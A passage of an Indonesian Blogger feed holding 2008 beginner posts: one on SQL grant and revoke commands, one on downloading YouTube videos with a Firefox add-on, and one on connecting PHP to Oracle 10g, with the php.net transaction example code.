/&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Control Language&lt;/strong&gt; (&lt;strong&gt;DCL)&lt;/strong&gt; merupakan sub bahasa SQL yang digunakan untuk melakukan pengontrolan data dan server databasenya. Perintah DCL, di antaranya:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;GRAND        :&lt;/strong&gt; Perintah ini digunakan untuk memberikan hak/ijin akses oleh administrator (pemilik utama) server kepada user (pengguna biasa). Hak akses tersebut berupa hak membuat (CREATE), mengambil (SELECT), menghapus (DELETE), mengubah (UPDATE), dan hak khusus berkenaan dengan sistem databasenya.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;REVOKE    :&lt;/strong&gt; Perintah ini memiliki kegunaan terbalik dengan GRAND, yaitu untuk menghilangkan atau mencabut hak akses yang telah diberikan kepada user oleh administrator. &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-4774145024839555002?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/4774145024839555002/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/11/memahami-database-mysql.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4774145024839555002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4774145024839555002'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/11/memahami-database-mysql.html' title='Memahami Database MySQL'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-4638340312690594967</id><published>2008-11-04T14:35:00.003+07:00</published><updated>2008-11-04T15:02:44.792+07:00</updated><title type='text'>Salah Satu Trik Download Dari Youtube</title><content type='html'>&lt;div style="text-align: justify;"&gt;Youtube merupakan salah satu site yang banyak menampilkan video-video yang sering kita inginkan, sehingga youtube memilki banyak penggemar. Tapi lewat yuotube kita hanya bisa menonton saja, dengan kata lain tidak bisa mendownloadnya secara langsung, salah satu nya yaitu lewat www.keepvid.com , dan masih banyak lagi situs-situs penyedia layanan ini. Mendownload lewat situs agaknya merepotkan, nah pada kesempatan ini saya mo ngasi satu trik untuk download video lewat Youtube, perangkat yang di butuhkan hanyalah berupa browser Firefox, nah di mas firefox ini kita tambahkan add-ons nya berupa "downloadhelper" caranya :&lt;br /&gt;pada firefox klik bagian : Tool - add-ons, setelah muncul bagian add-ons pilih tab 'Get add-ons -&gt; Browse All Add-ons' atau lebih Gampangnya lewat &lt;a href="https://addons.mozilla.org/en-US/firefox"&gt;https://addons.mozilla.org/en-US/firefox&lt;/a&gt;,  jika sudah muncul site add-ons nya maka gunakan fasilitas search ketikkan saja 'DownloadHelper', dan jika sudah ketemu 'Video DownloadHelper' klick add to firefox, maka firefox akan otomatis mendownload dan menginstalnya, jika sudah selesai anda tinggal restart firefox. Nah sekarang anda kunjungi situs youtube dan pilih video yang diinginkan, dan mainkan video tersebut, saat video di mainkan anda klik kanan pada halaman firefox trus cari bagian downloadHelper, nanti akan tampil nama file dengan extention flv, biasanya bagian paling bawah untuk mendownload klik saja bagian tersebut dan terdownload deh.. Download Helper ini tidak hanya suport Youtube Saja, banyak situs yang di suportnya anda bisa lihat dibagian supported sites, salah satu yang menggiurkan anda bisa mendownload redtube lewat downloadhelper (Yang ini cuma selingan jangan sering-sering mampir ke situs merah ini , he he he ...)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-4638340312690594967?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/4638340312690594967/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/11/salah-satu-trik-download-dari-youtube.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4638340312690594967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4638340312690594967'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/11/salah-satu-trik-download-dari-youtube.html' title='Salah Satu Trik Download Dari Youtube'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-6372990367365368286</id><published>2008-08-08T10:19:00.005+07:00</published><updated>2008-08-08T10:52:38.849+07:00</updated><title type='text'>Koneksi PHP dan Oracle</title><content type='html'>&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;span style="font-size:100%;"&gt;PHP dan oracle adalah software yang sangat sering dipakai oleh dunia IT. PHP sudah sangat terkenal dalam dunia web, dan oracle sangat banyak digunakan dalam dunia Data base. Sedangkan dua dunia ini, web dan data base sangat erat hubungannya. Oleh karena itu akan diulas bagaimana cara melakukan koneksi pada keduanya. Disini saya mengunakan PHP5, Apache2 dan Oracle 10 G pada windows xp.&lt;br /&gt;Setelah ketiganya terinstall ( jika Apache dan oracle diinstal terpisah maka diperlukan Oracle client untuk oracle 10G) ,maka akan dilakukan configurasi pada php.ini, pada baris ;extension=php_oci8.dll hilangkan tanda ';'. setelah itu copykan oci.dll yang didapat di tempat anda menginstall oracle ( contoh: 'D:\oracle\product\10.1.0\Db_1\BIN\') ke folder bin pada apache.&lt;br /&gt;Sekarang anda telah bisa terkoneksi dengan Oracle 10G lewat PHP.&lt;br /&gt;&lt;br /&gt;contoh penggunaannya sebagai berikut (diambil dari manual pada php.net):&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: verdana;" class="example-contents"&gt; &lt;div class="phpcode"&gt;&lt;span style="font-size:100%;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;echo &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;pre&gt;"&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$db &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_connect&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"scott"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"tiger"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$db&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_connect&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"scott"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"tiger"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$db&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;create_table&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_parse&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"create table scott.hallo (test varchar2(64))"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_execute&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" created table\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;drop_table&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_parse&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"drop table scott.hallo"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_execute&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" dropped table\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;insert_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_parse&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"insert into scott.hallo&lt;br /&gt;           values('$conn' || ' ' || to_char(sysdate,'DD-MON-YY HH24:MI:SS'))"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_execute&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;OCI_DEFAULT&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" inserted hallo\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;delete_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_parse&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"delete from scott.hallo"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_execute&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;OCI_DEFAULT&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" deleted hallo\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;commit&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_commit&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" committed\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;rollback&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_rollback&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" rollback\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_parse&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"select * from scott.hallo"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_execute&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;OCI_DEFAULT&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"----selecting\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt; while (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_fetch&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)) {&lt;br /&gt;   echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" [" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;oci_result&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$stmt&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"TEST"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) . &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"]\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt; }&lt;br /&gt; echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"----done\n\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;create_table&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;insert_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Insert a row using c1&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;insert_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Insert a row using c2&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Results of both inserts are returned&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;rollback&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);      &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Rollback using c1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Both inserts have been rolled back&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;insert_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Insert a row using c2&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;commit&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);        &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Commit using c2&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Result of c2 insert is returned&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;delete_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Delete all rows in table using c1&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// No rows returned&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// No rows returned&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;commit&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);        &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Commit using c1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// No rows returned&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;select_data&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);   &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// No rows returned&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;drop_table&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$c1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;echo &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;/pre&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 